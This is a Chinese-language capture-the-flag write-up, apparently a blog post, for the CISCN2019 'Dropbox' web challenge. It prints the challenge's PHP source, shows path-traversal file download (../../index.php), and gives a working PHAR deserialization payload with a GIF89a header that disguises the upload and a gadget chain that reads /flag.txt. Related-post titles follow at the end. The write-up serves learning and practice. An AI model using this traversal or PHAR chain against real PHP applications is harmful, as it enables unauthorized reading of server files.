一、【CISCN2019 华北赛区 Day1 Web1】Dropbox 1

  • 看题

    首先是需要注册登录,然后进入是一个文件上传和下载的页面。尝试php一句话木马和burp抓包修改后缀的木马都失败,看来是过滤了。这时候对下载文件进行抓包:

    尝试修改一下filename能不能抓到Index.php的包,这里尝试时候发现需要进入上上级目录,即../../index.php,同理查看一下download.php和delete.php。

  • 审计

    index.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    }
    ?> <!DOCTYPE html>
    <html> <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>网盘管理</title> <head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
    </head> <body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
    <li class="breadcrumb-item active">管理面板</li>
    <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
    <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
    </nav>
    <input type="file" id="fileInput" class="hidden">
    <div class="top" id="toast-container"></div> <?php
    include "class.php"; $a = new FileList($_SESSION['sandbox']);
    $a->Name();
    $a->Size();
    ?>

    login.php:

    <?php
    session_start();
    if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
    }
    ?> <!doctype html> <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <title>登录</title> <!-- Bootstrap core CSS -->
    <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style>
    .bd-placeholder-img {
    font-size: 1.125rem;
    text-anchor: middle;
    } @media (min-width: 768px) {
    .bd-placeholder-img-lg {
    font-size: 3.5rem;
    }
    }
    </style>
    <!-- Custom styles for this template -->
    <link href="static/css/std.css" rel="stylesheet">
    </head> <body class="text-center">
    <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
    </form>
    <div class="top" id="toast-container"></div>
    </body> <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    </html> <?php
    include "class.php"; if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
    } if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
    $_SESSION['login'] = true;
    $_SESSION['username'] = htmlentities($username);
    $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
    if (!is_dir($sandbox)) {
    mkdir($sandbox);
    }
    $_SESSION['sandbox'] = $sandbox;
    echo("<script>window.location.href='index.php';</script>");
    die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
    }
    ?>

    主要实现注册和登录的功能,为用户创建一个用户名+'sftUahRiTz'的文件夹。文件夹名称存储在$session['sandbox']中。

    download.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    } if (!isset($_POST['filename'])) {
    die();
    } include "class.php";
    ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
    } else {
    echo "File not exist";
    }
    ?>

    ini_set("open_basedir", getcwd() . ":/etc:/tmp"): ini_set用于设置php.ini的值,其中'open_basedir'参数用于限定php脚本访问的目录,getcwd()函数是获取当前工作目录,总的来说就是限定脚本只能访问当前目录和/etc、/tmp目录。

    chdir($_SESSION['sandbox']):用于改变当前的工作目录为用户文件夹。

    然后下面对flag字段进行了过滤。

    delete.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    } if (!isset($_POST['filename'])) {
    die();
    } include "class.php"; chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
    } else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
    }
    ?>

    文件包含的class.php:

    <?php
    error_reporting(0);
    $dbaddr = "127.0.0.1";
    $dbuser = "root";
    $dbpass = "root";
    $dbname = "dropbox";
    $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
    public $db; public function __construct() {
    global $db;
    $this->db = $db;
    } public function user_exist($username) {
    $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows;
    if ($count === 0) {
    return false;
    }
    return true;
    } public function add_user($username, $password) {
    if ($this->user_exist($username)) {
    return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    return true;
    } public function verify_user($username, $password) {
    if (!$this->user_exist($username)) {
    return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->bind_result($expect);
    $stmt->fetch();
    if (isset($expect) && $expect === $password) {
    return true;
    }
    return false;
    } public function __destruct() {
    $this->db->close();
    }
    } class FileList {
    private $files;
    private $results;
    private $funcs; public function __construct($path) {
    $this->files = array();
    $this->results = array();
    $this->funcs = array();
    $filenames = scandir($path); $key = array_search(".", $filenames);
    unset($filenames[$key]);
    $key = array_search("..", $filenames);
    unset($filenames[$key]); foreach ($filenames as $filename) {
    $file = new File();
    $file->open($path . $filename);
    array_push($this->files, $file);
    $this->results[$file->name()] = array();
    }
    } public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
    $this->results[$file->name()][$func] = $file->$func();
    }
    } public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
    $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
    $table .= '<tr>';
    foreach ($result as $func => $value) {
    $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
    }
    $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
    $table .= '</tr>';
    }
    echo $table;
    }
    } class File {
    public $filename; public function open($filename) {
    $this->filename = $filename;
    if (file_exists($filename) && !is_dir($filename)) {
    return true;
    } else {
    return false;
    }
    } public function name() {
    return basename($this->filename);
    } public function size() {
    $size = filesize($this->filename);
    $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    return round($size, 2).$units[$i];
    } public function detele() {
    unlink($this->filename);
    } public function close() {
    return file_get_contents($this->filename);
    }
    }
    ?>

    很明显应该关注class.php,可以看到其中调用了一些魔术方法,其中__call函数最特殊。

    __call函数是定义在php类中的魔术方法,其执行必须要两个参数,当调用该类中不存在的方法时,__call函数就会被执行。__call($name,$args)。其中name是调用的类中不存在方法的名称,arg是不存在方法中的参数。

    在class.php的__call函数中,主要将调用的方法存储到funcs数组中,然后遍历files,让files中的每个元素都执行func函数,返回的结果存储在result数组中。

    同时,可以看到File类中的close方法存在file_get_contents函数,我们可以利用这个函数对flag进行访问(因为download.php中对flag字段进行了过滤,说明flag应该就存储在flag.txt、flag.php等文件中。)

    怎么调用close函数呢,在User类的析构函数中存在close方法。

    思路:首先是创建User类中的db变量,将该变量是一个Filelist对象,同时在Filelist类中,将file属性的文件名设置为flag.php。这样在db变量析构的时候就能够访问flag.php。

    但是怎样执行这个函数呢,因为反序列化的时候魔术函数会被自动执行,这里没有unserilize()函数;因此可以使用phar协议。

    • PHAR

      是一个流包装协议,用于将php文件压缩,其中存储了被压缩文件的权限和属性信息,并且以序列化的形式存储用户的meta-data。文件格式为<?php xxx;__HALT_COMPILER();?>,必须以__HALT_COMPILER()来结尾。因此本题只要生成一个phar格式的文件进行上传,然后使用phar://协议对其进行解析,就会执行我们的payload。

      注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。并且一般的php.ini的readonly前面有分号,代表禁用,要删掉。

    • payload

      <?php
      class User{
      public $db;
      }
      class FileList{
      private $files= array();
      public function __construct() {//如果直接使用$files=new File()会失败,貌似必须用__construct方法
      $file = new File();
      array_push($this->files, $file);
      }
      }
      class File{
      public $filename='/flag.txt';
      } //创建phar文件常见姿势
      $phar=new Phar('phar.phar');
      $phar->startBuffering();
      $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头,绕过文件检测(因为php的识别是根据文件头的stub)
      $phar->addFromString('test.txt','test'); //添加要压缩的文件
      $obj= new User();
      $obj->db=new FileList();
      $phar->setMetadata($obj); //将自定义的metadata存入manifest
      $phar->stopBuffering();
      ?>
    • 利用

      运行payload会在当前目录下生成phar.phar文件,可以看到里面是序列化数据和gif文件头:

      下面更改后缀为phar.jpg进行上传,因为download.php中对访问目录进行了限制,所以使用delete.php:

    总结

    • Phar利用方式,可以在不使用serilize函数的情况下进行反序列化利用
    • 多抓包尝试利用已有的函数进行下载
    • 疑问:
      • 为什么不能payload直接使用FileList方法直接调用close函数
      • FileList中的construct问题

【CISCN2019 华北赛区 Day1 Web1】Dropbox 1的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  2. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  3. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

  4. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

  5. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  6. [CISCN2019 华北赛区 Day1 Web1]Dropbox-phar文件能够上传到服务器端实现任意文件读取

    0x00知识点 phar是什么: 我们先来了解一下流包装 大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://.例如常见的 include('php ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  8. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  9. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  10. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

随机推荐

  1. C++面试八股文:什么是空指针/野指针/悬垂指针?

    某日二师兄参加XXX科技公司的C++工程师开发岗位第30面: 面试官:什么是空指针? 二师兄:一般我们将等于0/NULL/nullptr的指针称为空指针.空指针不能被解引用,但是可以对空指针取地址. ...

  2. 自动化SQL注入工具——Sqlmap

    Sqlmap – 简介 Sqlmap是一个自动化检测和利用SQL注入漏洞的免费开源工具 1.支持对多种数据库进行注入测试,能够自动识别数据库类型并注入 2.支持多种注入技术,并且能够自动探测使用合适的 ...

  3. VSCode设置第三方字体

    最近需要写C,所以下了一个VSCode IDE嘛 当然是美观最重要了(不是 个人比较喜欢JetBrains家的字体 在IDEA中主要使用的是 JetBrains Mono 想着把VSCode的字体也设 ...

  4. 打包 IPA processing failed 失败

    查看报错日志:有些SDK含有x86_64架构,移除即可 1. cd 该库SDK路径下 2.执行 lipo -remove x86_64 BaiduTraceSDK -o BaiduTraceSDK 解 ...

  5. SQL Server 数据库字符串分割函数

    SQL Server 数据库字符串分割函数,源代码如下: ALTER FUNCTION [dbo].[f_split] ( @SourceStr VARCHAR(MAX), -- 源字符串 @Spli ...

  6. 分享一个Java功能小案例(代码已开源哦)

    工程合集 工程列表 地址预览 B站 抖音

  7. Linux设置字符编码

    一.Linux设置字符编码 1.什么是字符编码 字符编码可以实现对非英文字符的支持,防止非英文字符的乱码. 2.国内常用的字符编码 UTF-8 GBK 3.设置字符编码 我们可以对Linux系统的字符 ...

  8. 长连接:chatgpt流式响应背后的逻辑

    一.前言: 提起长连接,我们并不陌生,最常见的长连接非websocket莫属了.即使没有在项目中实际用过,至少也应该有所接触.长连接指在一次网络通信中,客户端与服务器之间建立一条持久的连接,可以在多次 ...

  9. uni-app学习之路

    MVC模式1. model:模型层,数据的增删改查2. view:视图层,前端页面3. controller:控制层,处理业务 文件页面结构1. 页面以`.vue`结尾2. `template`,`s ...

  10. jQuery入口函数测试

    <script src="js/jquery-1.12.4.js"></script><script> window.onload = func ...